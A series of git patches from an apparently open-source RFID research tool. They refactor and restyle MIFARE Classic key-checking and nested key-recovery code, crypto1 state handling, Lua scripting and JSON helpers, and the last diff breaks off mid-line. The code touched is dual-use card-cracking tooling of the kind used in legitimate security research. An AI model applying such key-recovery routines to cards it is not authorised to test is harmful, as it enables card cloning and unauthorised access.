changed, 3 insertions(+), 3 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 38eb2ecb6..bd5f9ba37 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1669,9 +1669,6 @@ static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing LastTimeProxToAirStart = ThisTransferTime; } - // clear TXRDY - AT91C_BASE_SSC->SSC_THR = SEC_Y; - uint16_t c = 0; while (c < len) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index 1bea3a1b9..33e5b2995 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -96,6 +96,9 @@ typedef struct { # define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) #endif +void iso14a_set_timeout(uint32_t timeout); +uint32_t iso14a_get_timeout(void); + void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par); tDemod14a *GetDemod14a(void); From 3a18fe6ea1fbf350bdc0ecbace271eb5919bb9be Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 13:25:15 +0100 Subject: [PATCH 144/418] fix: some more adaptations --- armsrc/mifarecmd.c | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 47c353855..572fb42d9 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -919,7 +919,7 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 for (rtr = 0; rtr < 17; rtr++) { // Test if the action was cancelled - if (BUTTON_PRESS() || usb_poll_validate_length()) { + if (BUTTON_PRESS() || data_available()) { isOK = -2; break; } @@ -1000,7 +1000,7 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 while (target_nt[i] == 0) { // continue until we have an unambiguous nonce // Test if the action was cancelled - if (BUTTON_PRESS() || usb_poll_validate_length()) { + if (BUTTON_PRESS() || data_available()) { isOK = -2; break; } @@ -1274,6 +1274,8 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da static uint8_t found[80]; static uint8_t *uid; + int oldbg = DBGLEVEL; + #ifdef WITH_FLASH if (use_flashmem) { BigBuf_free(); @@ -1341,6 +1343,9 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da CHK_TIMEOUT(); } + // clear debug level. We are expecting lots of authentication failures... + DBGLEVEL = DBG_NONE; + // set check struct. chk_data.uid = uid; chk_data.cuid = cuid; @@ -1365,7 +1370,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da for (uint16_t i = s_point; i < keyCount; ++i) { // Allow button press / usb cmd to interrupt device - if (BUTTON_PRESS() && !data_available()) { + if (BUTTON_PRESS() && data_available()) { goto OUT; } @@ -1457,7 +1462,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da for (uint16_t i = 0; i < keyCount; i++) { // Allow button press / usb cmd to interrupt device - if (BUTTON_PRESS() && !data_available()) break; + if (BUTTON_PRESS() && data_available()) break; // found all keys? if (foundkeys == allkeys) @@ -1566,16 +1571,16 @@ OUT: emlSetMem_xt(block, blockno, 1, sizeof(block)); } - int oldbg = DBGLEVEL; - DBGLEVEL = DBG_NONE; + MifareECardLoad(sectorcnt, 0); MifareECardLoad(sectorcnt, 1); - DBGLEVEL = oldbg; } } else { // partial/none keys found reply_mix(CMD_ACK, foundkeys, 0, 0, 0, 0); } + + DBGLEVEL = oldbg; } void MifareChkKeys(uint8_t *datain) { @@ -1614,7 +1619,10 @@ void MifareChkKeys(uint8_t *datain) { if (clearTrace) clear_trace(); - set_tracing(true); + int oldbg = DBGLEVEL; + DBGLEVEL = DBG_NONE; + + set_tracing(false); for (i = 0; i < keyCount; i++) { @@ -1655,6 +1663,7 @@ void MifareChkKeys(uint8_t *datain) { if (res) continue; + memcpy(keyresult.key, datain + i * 6, 6); keyresult.found = true; break; @@ -1668,6 +1677,8 @@ void MifareChkKeys(uint8_t *datain) { set_tracing(false); crypto1_deinit(pcs); + + DBGLEVEL = oldbg; } //----------------------------------------------------------------------------- From fb0eb3571022175f88cfd6561c0a93cb7f02d43c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 16:27:51 +0100 Subject: [PATCH 145/418] style --- armsrc/mifarecmd.c | 4 +- armsrc/mifareutil.c | 4 +- client/cmdhfmf.c | 156 ++++++++++++++++++------------------- client/mifare/mifarehost.c | 12 +-- client/mifare/mifarehost.h | 2 +- 5 files changed, 89 insertions(+), 89 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 572fb42d9..643454672 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1275,7 +1275,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da static uint8_t *uid; int oldbg = DBGLEVEL; - + #ifdef WITH_FLASH if (use_flashmem) { BigBuf_free(); @@ -1345,7 +1345,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da // clear debug level. We are expecting lots of authentication failures... DBGLEVEL = DBG_NONE; - + // set check struct. chk_data.uid = uid; chk_data.cuid = cuid; diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 2e6ba8ade..97ac6ee90 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -127,7 +127,7 @@ int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, int mifare_classic_auth(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint8_t isNested) { return mifare_classic_authex(pcs, uid, blockNo, keyType, ui64Key, isNested, NULL, NULL); } - + int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint8_t isNested, uint32_t *ntptr, uint32_t *timing) { int len; uint32_t pos, nt, ntpp; // Supplied tag nonce @@ -198,7 +198,7 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN // Receive 4 byte tag answer len = ReaderReceive(receivedAnswer, receivedAnswerPar); - + iso14a_set_timeout(save_timeout); if (!len) { diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index a7df93ed8..486457fed 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -370,7 +370,7 @@ static int usage_hf14_ekeyprn(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf ekeyprn 1"); - PrintAndLogEx(NORMAL, " hf mf ekeyprn d"); + PrintAndLogEx(NORMAL, " hf mf ekeyprn d"); return PM3_SUCCESS; } @@ -1430,7 +1430,7 @@ jumptoend: PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "found keys:"); - + //print them printKeyTable(SectorsCnt, e_sector); @@ -1615,12 +1615,12 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { if (!know_target_key && nonce_file_read == false) { - // check if tag doesn't have static/fixed nonce - if (detect_classic_static_nonce() != 0) { - PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting..."); - return PM3_EOPABORTED; - } - + // check if tag doesn't have static/fixed nonce + if (detect_classic_static_nonce() != 0) { + PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting..."); + return PM3_EOPABORTED; + } + uint64_t key64 = 0; // check if we can authenticate to sector if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { @@ -2245,7 +2245,7 @@ all_found: // Dump the keys PrintAndLogEx(NORMAL, ""); - + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); if (createMfcKeyDump(fptr, sectors_cnt, e_sector) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to save keys to file"); @@ -2305,7 +2305,7 @@ all_found: } /* static int CmdHF14AMfNestedFixed(const char *Cmd){ - + if (strlen(Cmd) < 3) return usage_hf14_fixednested(); return PM3_SUCCESS; @@ -2541,7 +2541,7 @@ out: PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "found keys:"); - + printKeyTable(sectorsCnt, e_sector); if (use_flashmemory && found_keys == (sectorsCnt << 1)) { @@ -2558,13 +2558,13 @@ out: for (i = 0; i < sectorsCnt; ++i) { uint8_t blockno = FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1; mfEmlGetMem(block, blockno, 1); - + if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], 6, block); - + if (e_sector[i].foundKey[1]) num_to_bytes(e_sector[i].Key[1], 6, block + 10); - + if (i == sectorsCnt - 1) { // Disable fast mode on last packet conn.block_after_ACK = false; @@ -2579,12 +2579,12 @@ out: } if (createDumpFile) { - - char *fptr = GenerateFilename("hf-mf-", "-key.bin"); - if (createMfcKeyDump(fptr, sectorsCnt, e_sector) != PM3_SUCCESS) { + + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, sectorsCnt, e_sector) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to save keys to file"); } - } + } } free(keyBlock); @@ -2813,7 +2813,7 @@ static int CmdHF14AMfChk(const char *Cmd) { // loop sectors but block is used as to keep track of from which blocks to test int b = blockNo; for (i = 0; i < SectorsCnt; i++) { - + // KEY A but not KEY B if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { @@ -2852,12 +2852,12 @@ static int CmdHF14AMfChk(const char *Cmd) { out: PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "found keys:"); - + //print keys - if ( SectorsCnt == 1) - printKeyTableEx(SectorsCnt, e_sector, GetSectorFromBlockNo(blockNo)); + if (SectorsCnt == 1) + printKeyTableEx(SectorsCnt, e_sector, GetSectorFromBlockNo(blockNo)); else - printKeyTable(SectorsCnt, e_sector); + printKeyTable(SectorsCnt, e_sector); if (transferToEml) { // fast push mode @@ -2866,14 +2866,14 @@ out: for (i = 0; i < SectorsCnt; ++i) { uint8_t blockno = FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1; mfEmlGetMem(block, blockno, 1); - - if (e_sector[i].foundKey[0]) + + if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], 6, block); - + if (e_sector[i].foundKey[1]) num_to_bytes(e_sector[i].Key[1], 6, block + 10); - - if (i == SectorsCnt - 1) { + + if (i == SectorsCnt - 1) { // Disable fast mode on last packet conn.block_after_ACK = false; } @@ -2887,7 +2887,7 @@ out: if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to save keys to file"); } - } + } free(keyBlock); free(e_sector); @@ -3314,7 +3314,7 @@ static int CmdHF14AMfKeyBrute(const char *Cmd) { */ void printKeyTable(uint8_t sectorscnt, sector_t *e_sector) { - return printKeyTableEx(sectorscnt, e_sector, 0); + return printKeyTableEx(sectorscnt, e_sector, 0); } void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_sector) { char strA[12 + 1] = {0}; @@ -3335,31 +3335,31 @@ void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_secto if (e_sector[i].foundKey[0] > 1) { PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%c")"| %s | " _YELLOW_("%c")"|" - , i - , strA, e_sector[i].foundKey[0] - , strB, e_sector[i].foundKey[1] - ); + , i + , strA, e_sector[i].foundKey[0] + , strB, e_sector[i].foundKey[1] + ); } else { PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%d")"| %s | " _YELLOW_("%d")"|" - , start_sector - , strA, e_sector[i].foundKey[0] - , strB, e_sector[i].foundKey[1] - ); + , start_sector + , strA, e_sector[i].foundKey[0] + , strB, e_sector[i].foundKey[1] + ); } } PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); if (e_sector[0].foundKey[0] > 1) { PrintAndLogEx(NORMAL, "( " - _YELLOW_("D") ":Dictionary / " - _YELLOW_("S") ":darkSide / " - _YELLOW_("U") ":User / " - _YELLOW_("R") ":Reused / " - _YELLOW_("N") ":Nested / " - _YELLOW_("H") ":Hardnested / " - _YELLOW_("A") ":keyA " - ")" - ); + _YELLOW_("D") ":Dictionary / " + _YELLOW_("S") ":darkSide / " + _YELLOW_("U") ":User / " + _YELLOW_("R") ":Reused / " + _YELLOW_("N") ":Nested / " + _YELLOW_("H") ":Hardnested / " + _YELLOW_("A") ":keyA " + ")" + ); } else { PrintAndLogEx(NORMAL, "(" _YELLOW_("0") ": Failed / " _YELLOW_("1") ": Success)"); } @@ -3615,7 +3615,7 @@ static int CmdHF14AMfEKeyPrn(const char *Cmd) { bool errors = false, createDumpFile = false; while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { - char ctmp = tolower(param_getchar(Cmd, cmdp)); + char ctmp = tolower(param_getchar(Cmd, cmdp)); switch (ctmp) { case 'd': createDumpFile = true; @@ -3623,18 +3623,18 @@ static int CmdHF14AMfEKeyPrn(const char *Cmd) { break; case 'h': return usage_hf14_ekeyprn(); - case '0': - case '1': - case '2': - case '4': - sectors_cnt = NumOfSectors(ctmp); - if (sectors_cnt == 0) return usage_hf14_ekeyprn(); - cmdp++; - break; + case '0': + case '1': + case '2': + case '4': + sectors_cnt = NumOfSectors(ctmp); + if (sectors_cnt == 0) return usage_hf14_ekeyprn(); + cmdp++; + break; default: - PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); - errors = true; - break; + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; } } // validations @@ -3646,15 +3646,15 @@ static int CmdHF14AMfEKeyPrn(const char *Cmd) { int32_t res = initSectorTable(&e_sector, sectors_cnt); if (res != sectors_cnt) return PM3_EMALLOC; - - // read UID from EMUL + + // read UID from EMUL if (mfEmlGetMem(data, 0, 1) != PM3_SUCCESS) { - PrintAndLogEx(WARNING, "error get block %d", 0); - free(e_sector); - return PM3_ESOFT; + PrintAndLogEx(WARNING, "error get block %d", 0); + free(e_sector); + return PM3_ESOFT; } - - memcpy(uid, data, sizeof(uid)); + + memcpy(uid, data, sizeof(uid)); // download keys from EMUL for (int i = 0; i < sectors_cnt; i++) { @@ -3662,26 +3662,26 @@ static int CmdHF14AMfEKeyPrn(const char *Cmd) { if (mfEmlGetMem(data, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "error get block %d", FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); e_sector[i].foundKey[0] = false; - e_sector[i].foundKey[1] = false; + e_sector[i].foundKey[1] = false; } else { - e_sector[i].foundKey[0] = true; - e_sector[i].Key[0] = bytes_to_num(data, 6); - e_sector[i].foundKey[1] = true; - e_sector[i].Key[1] = bytes_to_num(data + 10, 6); - } + e_sector[i].foundKey[0] = true; + e_sector[i].Key[0] = bytes_to_num(data, 6); + e_sector[i].foundKey[1] = true; + e_sector[i].Key[1] = bytes_to_num(data + 10, 6); + } } // print keys printKeyTable(sectors_cnt, e_sector); - // dump the keys + // dump the keys if (createDumpFile) { - - fptr += sprintf(fptr, "hf-mf-"); - FillFileNameByUID(fptr + strlen(fptr), uid, "-key", sizeof(uid)); - createMfcKeyDump(filename, sectors_cnt, e_sector); - } + fptr += sprintf(fptr, "hf-mf-"); + FillFileNameByUID(fptr + strlen(fptr), uid, "-key", sizeof(uid)); + + createMfcKeyDump(filename, sectors_cnt, e_sector); + } free(e_sector); return PM3_SUCCESS; diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 6e3db481f..4b29920ee 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -324,7 +324,7 @@ __attribute__((force_align_arg_pointer)) *nested_worker_thread(void *arg) { struct Crypto1State *p1; StateList_t *statelist = arg; - statelist->head.slhead = lfsr_recovery32(statelist->ks1, statelist->nt ^ statelist->uid); + statelist->head.slhead = lfsr_recovery32(statelist->ks1, statelist->nt_enc ^ statelist->uid); for (p1 = statelist->head.slhead; * (uint64_t *)p1 != 0; p1++) {}; @@ -391,10 +391,10 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, statelists[i].uid = uid; } - memcpy(&statelists[0].nt, package->nt_a, sizeof(package->nt_a)); + memcpy(&statelists[0].nt_enc, package->nt_a, sizeof(package->nt_a)); memcpy(&statelists[0].ks1, package->ks_a, sizeof(package->ks_a)); - memcpy(&statelists[1].nt, package->nt_b, sizeof(package->nt_b)); + memcpy(&statelists[1].nt_enc, package->nt_b, sizeof(package->nt_b)); memcpy(&statelists[1].ks1, package->ks_b, sizeof(package->ks_b)); @@ -422,14 +422,14 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, savestate = *p1; while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) { *p3 = *p1; - lfsr_rollback_word(p3, statelists[0].nt ^ statelists[0].uid, 0); + lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0); p3++; p1++; } savestate = *p2; while (Compare16Bits(p2, &savestate) == 0 && p2 <= statelists[1].tail.sltail) { *p4 = *p2; - lfsr_rollback_word(p4, statelists[1].nt ^ statelists[1].uid, 0); + lfsr_rollback_word(p4, statelists[1].nt_enc ^ statelists[1].uid, 0); p4++; p2++; } @@ -481,7 +481,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", package->block, package->keytype ? 'B' : 'A', - sprint_hex(resultKey, 6) + sprint_hex(resultKey, 6) ); return -5; } diff --git a/client/mifare/mifarehost.h b/client/mifare/mifarehost.h index d81595942..a17e4b099 100644 --- a/client/mifare/mifarehost.h +++ b/client/mifare/mifarehost.h @@ -39,7 +39,7 @@ typedef struct { uint32_t uid; uint32_t blockNo; uint32_t keyType; - uint32_t nt; + uint32_t nt_enc; uint32_t ks1; } StateList_t; From 88237e60c138aa7eb54c8601ff8f6b556f3009aa Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 16:41:13 +0100 Subject: [PATCH 146/418] cppcheck --- client/wiegand_formats.h | 2 +- common/crapto1/crapto1.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/client/wiegand_formats.h b/client/wiegand_formats.h index b75f5e491..2b9b3df05 100644 --- a/client/wiegand_formats.h +++ b/client/wiegand_formats.h @@ -42,7 +42,7 @@ typedef struct { void HIDListFormats(); int HIDFindCardFormat(const char *format); cardformat_t HIDGetCardFormat(int idx); -bool HIDPack(int FormatIndex, wiegand_card_t *card, wiegand_message_t *packed); +bool HIDPack(int format_idx, wiegand_card_t *card, wiegand_message_t *packed); bool HIDTryUnpack(wiegand_message_t *packed, bool ignore_parity); #endif diff --git a/common/crapto1/crapto1.h b/common/crapto1/crapto1.h index 7fa16539e..b6be544a5 100644 --- a/common/crapto1/crapto1.h +++ b/common/crapto1/crapto1.h @@ -25,7 +25,7 @@ #include struct Crypto1State {uint32_t odd, even;}; -void crypto1_init(struct Crypto1State *s, uint64_t key); +void crypto1_init(struct Crypto1State *state, uint64_t key); void crypto1_deinit(struct Crypto1State *); #if !defined(__arm__) || defined(__linux__) || defined(_WIN32) || defined(__APPLE__) // bare metal ARM Proxmark lacks malloc()/free() struct Crypto1State *crypto1_create(uint64_t key); From a3ce88eaecef36bb1cfd961c1e35fa143a12082f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 16:46:13 +0100 Subject: [PATCH 147/418] fix: cppcheck, bool vs & --- client/loclass/cipherutils.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/loclass/cipherutils.c b/client/loclass/cipherutils.c index c2a802c7a..d291c4886 100644 --- a/client/loclass/cipherutils.c +++ b/client/loclass/cipherutils.c @@ -74,7 +74,7 @@ bool tailBit(BitstreamIn *stream) { void pushBit(BitstreamOut *stream, bool bit) { int bytepos = stream->position >> 3; // divide by 8 int bitpos = stream->position & 7; - *(stream->buffer + bytepos) |= (bit & 1) << (7 - bitpos); + *(stream->buffer + bytepos) |= (bit) << (7 - bitpos); stream->position++; stream->numbits++; } From c857cf49f38dff4b25bfde8bdc9dc29563e88091 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 16:50:53 +0100 Subject: [PATCH 148/418] fix: cppcheck negative compare w u32 --- client/scripting.c | 87 +++++++++++++++++++++++----------------------- 1 file changed, 43 insertions(+), 44 deletions(-) diff --git a/client/scripting.c b/client/scripting.c index 45451b241..e531acd97 100644 --- a/client/scripting.c +++ b/client/scripting.c @@ -303,7 +303,6 @@ static int l_GetFromFlashMem(lua_State *L) { } } - /** * @brief The following params expected: * uint8_t *destfilename @@ -312,51 +311,51 @@ static int l_GetFromFlashMem(lua_State *L) { */ static int l_GetFromFlashMemSpiffs(lua_State *L) { - if (IfPm3Flash()) { - uint32_t start_index = 0, len = 0x40000; //FLASH_MEM_MAX_SIZE - char destfilename[32] = {0}; - size_t size; - - int n = lua_gettop(L); - if (n == 0) - return returnToLuaWithError(L, "You need to supply the destination filename"); - - if (n >= 1) { - const char *p_filename = luaL_checklstring(L, 1, &size); - if (size != 0) - memcpy(destfilename, p_filename, 31); - } - - if (destfilename[0] == '\0') - return returnToLuaWithError(L, "Filename missing or invalid"); - - // get size from spiffs itself ! - SendCommandMIX(CMD_SPIFFS_STAT, 0, 0, 0, (uint8_t *)destfilename, 32); - PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) - return returnToLuaWithError(L, "No response from the device"); - - len = resp.oldarg[0]; - - if (len <= 0) - return returnToLuaWithError(L, "Filename invalid or empty"); - - uint8_t *data = calloc(len, sizeof(uint8_t)); - if (!data) - return returnToLuaWithError(L, "Allocating memory failed"); - - if (!GetFromDevice(SPIFFS, data, len, start_index, (uint8_t *)destfilename, 32, NULL, -1, true)) { - free(data); - return returnToLuaWithError(L, "ERROR; downloading from spiffs(flashmemory)"); - } - - lua_pushlstring(L, (const char *)data, len); - lua_pushunsigned(L, len); - free(data); - return 2; - } else { + if (IfPm3Flash() == false) { return returnToLuaWithError(L, "No FLASH MEM support"); } + + uint32_t start_index = 0, len = 0x40000; //FLASH_MEM_MAX_SIZE + char destfilename[32] = {0}; + size_t size; + + int n = lua_gettop(L); + if (n == 0) + return returnToLuaWithError(L, "You need to supply the destination filename"); + + if (n >= 1) { + const char *p_filename = luaL_checklstring(L, 1, &size); + if (size != 0) + memcpy(destfilename, p_filename, 31); + } + + if (destfilename[0] == '\0') + return returnToLuaWithError(L, "Filename missing or invalid"); + + // get size from spiffs itself ! + SendCommandMIX(CMD_SPIFFS_STAT, 0, 0, 0, (uint8_t *)destfilename, 32); + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) + return returnToLuaWithError(L, "No response from the device"); + + len = resp.oldarg[0]; + + if (len == 0) + return returnToLuaWithError(L, "Filename invalid or empty"); + + uint8_t *data = calloc(len, sizeof(uint8_t)); + if (!data) + return returnToLuaWithError(L, "Allocating memory failed"); + + if (!GetFromDevice(SPIFFS, data, len, start_index, (uint8_t *)destfilename, 32, NULL, -1, true)) { + free(data); + return returnToLuaWithError(L, "ERROR; downloading from spiffs(flashmemory)"); + } + + lua_pushlstring(L, (const char *)data, len); + lua_pushunsigned(L, len); + free(data); + return 2; } /** From f428b016c12e4cec979a228beeea29175bd6f5c6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:11:18 +0100 Subject: [PATCH 149/418] cppcheck --- armsrc/frozen.c | 18 +++++++++--------- armsrc/frozen.h | 5 ++--- client/cmdhfmfp.c | 6 +++--- client/mifare/mifare4.c | 14 +++++++------- client/mifare/mifare4.h | 10 +++++----- 5 files changed, 26 insertions(+), 27 deletions(-) diff --git a/armsrc/frozen.c b/armsrc/frozen.c index a43300319..41f2179cd 100644 --- a/armsrc/frozen.c +++ b/armsrc/frozen.c @@ -437,27 +437,27 @@ static int json_doit(struct frozen *f) { } int json_escape(struct json_out *out, const char *p, size_t len) WEAK; -int json_escape(struct json_out *out, const char *p, size_t len) { +int json_escape(struct json_out *out, const char *str, size_t str_len) { size_t i, cl, n = 0; const char *hex_digits = "0123456789abcdef"; const char *specials = "btnvfr"; - for (i = 0; i < len; i++) { - unsigned char ch = ((unsigned char *) p)[i]; + for (i = 0; i < str_len; i++) { + unsigned char ch = ((unsigned char *) str)[i]; if (ch == '"' || ch == '\\') { n += out->printer(out, "\\", 1); - n += out->printer(out, p + i, 1); + n += out->printer(out, str + i, 1); } else if (ch >= '\b' && ch <= '\r') { n += out->printer(out, "\\", 1); n += out->printer(out, &specials[ch - '\b'], 1); } else if (c_isprint(ch)) { - n += out->printer(out, p + i, 1); + n += out->printer(out, str + i, 1); } else if ((cl = json_get_utf8_char_len(ch)) == 1) { n += out->printer(out, "\\u00", 4); n += out->printer(out, &hex_digits[(ch >> 4) % 0xf], 1); n += out->printer(out, &hex_digits[ch % 0xf], 1); } else { - n += out->printer(out, p + i, cl); + n += out->printer(out, str + i, cl); i += cl - 1; } } @@ -1032,8 +1032,8 @@ static void json_scanf_cb(void *callback_data, const char *name, } } -int json_vscanf(const char *s, int len, const char *fmt, va_list ap) WEAK; -int json_vscanf(const char *s, int len, const char *fmt, va_list ap) { +int json_vscanf(const char *str, int len, const char *fmt, va_list ap) WEAK; +int json_vscanf(const char *str, int len, const char *fmt, va_list ap) { char path[JSON_MAX_PATH_LEN] = "", fmtbuf[20]; int i = 0; char *p = NULL; @@ -1070,7 +1070,7 @@ int json_vscanf(const char *s, int len, const char *fmt, va_list ap) { break; } } - json_walk(s, len, json_scanf_cb, &info); + json_walk(str, len, json_scanf_cb, &info); } else if (json_isalpha(fmt[i]) || json_get_utf8_char_len(fmt[i]) > 1) { char *pe; const char *delims = ": \r\n\t"; diff --git a/armsrc/frozen.h b/armsrc/frozen.h index a81522a64..fc6fd3b3b 100644 --- a/armsrc/frozen.h +++ b/armsrc/frozen.h @@ -144,7 +144,7 @@ typedef int (*json_printf_callback_t)(struct json_out *, va_list *ap); * overflown bytes are not printed. */ int json_printf(struct json_out *, const char *fmt, ...); -int json_vprintf(struct json_out *, const char *fmt, va_list ap); +int json_vprintf(struct json_out *, const char *fmt, va_list xap); /* * Same as json_printf, but prints to a file. @@ -212,8 +212,7 @@ typedef void (*json_scanner_t)(const char *str, int len, void *user_data); * Fills `token` with the matched JSON token. * Return -1 if no array element found, otherwise non-negative token length. */ -int json_scanf_array_elem(const char *s, int len, const char *path, int index, - struct json_token *token); +int json_scanf_array_elem(const char *s, int len, const char *path, int idx, struct json_token *token); /* * Unescape JSON-encoded string src,slen into dst, dlen. diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index ec7c4cc72..c6d24135c 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -393,7 +393,7 @@ static int CmdHFMFPRdbl(const char *cmd) { if (verbose) PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockn, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); - mf4Session mf4session; + mf4Session_t mf4session; int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); @@ -492,7 +492,7 @@ static int CmdHFMFPRdsc(const char *cmd) { if (verbose) PrintAndLogEx(INFO, "--sector[%d]:%02x key:%04x", mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); - mf4Session mf4session; + mf4Session_t mf4session; int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); @@ -596,7 +596,7 @@ static int CmdHFMFPWrbl(const char *cmd) { if (verbose) PrintAndLogEx(INFO, "--block:%d sector[%d]:%02x key:%04x", blockNum & 0xff, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); - mf4Session mf4session; + mf4Session_t mf4session; int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); diff --git a/client/mifare/mifare4.c b/client/mifare/mifare4.c index 8bf0788b4..84f509078 100644 --- a/client/mifare/mifare4.c +++ b/client/mifare/mifare4.c @@ -95,7 +95,7 @@ const char *mfGetAccessConditionsDesc(uint8_t blockn, uint8_t *data) { return StaticNone; }; /* -static int CalculateEncIVCommand(mf4Session *session, uint8_t *iv, bool verbose) { +static int CalculateEncIVCommand(mf4Session_t *session, uint8_t *iv, bool verbose) { memcpy(&iv[0], session->TI, 4); memcpy(&iv[4], &session->R_Ctr, 2); memcpy(&iv[6], &session->W_Ctr, 2); @@ -120,8 +120,8 @@ static int CalculateEncIVResponse(mf4Session *session, uint8_t *iv, bool verbose } */ -int CalculateMAC(mf4Session *session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose) { - if (!session || !session->Authenticated || !mac || !data || !datalen || datalen < 1) +int CalculateMAC(mf4Session_t *session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose) { + 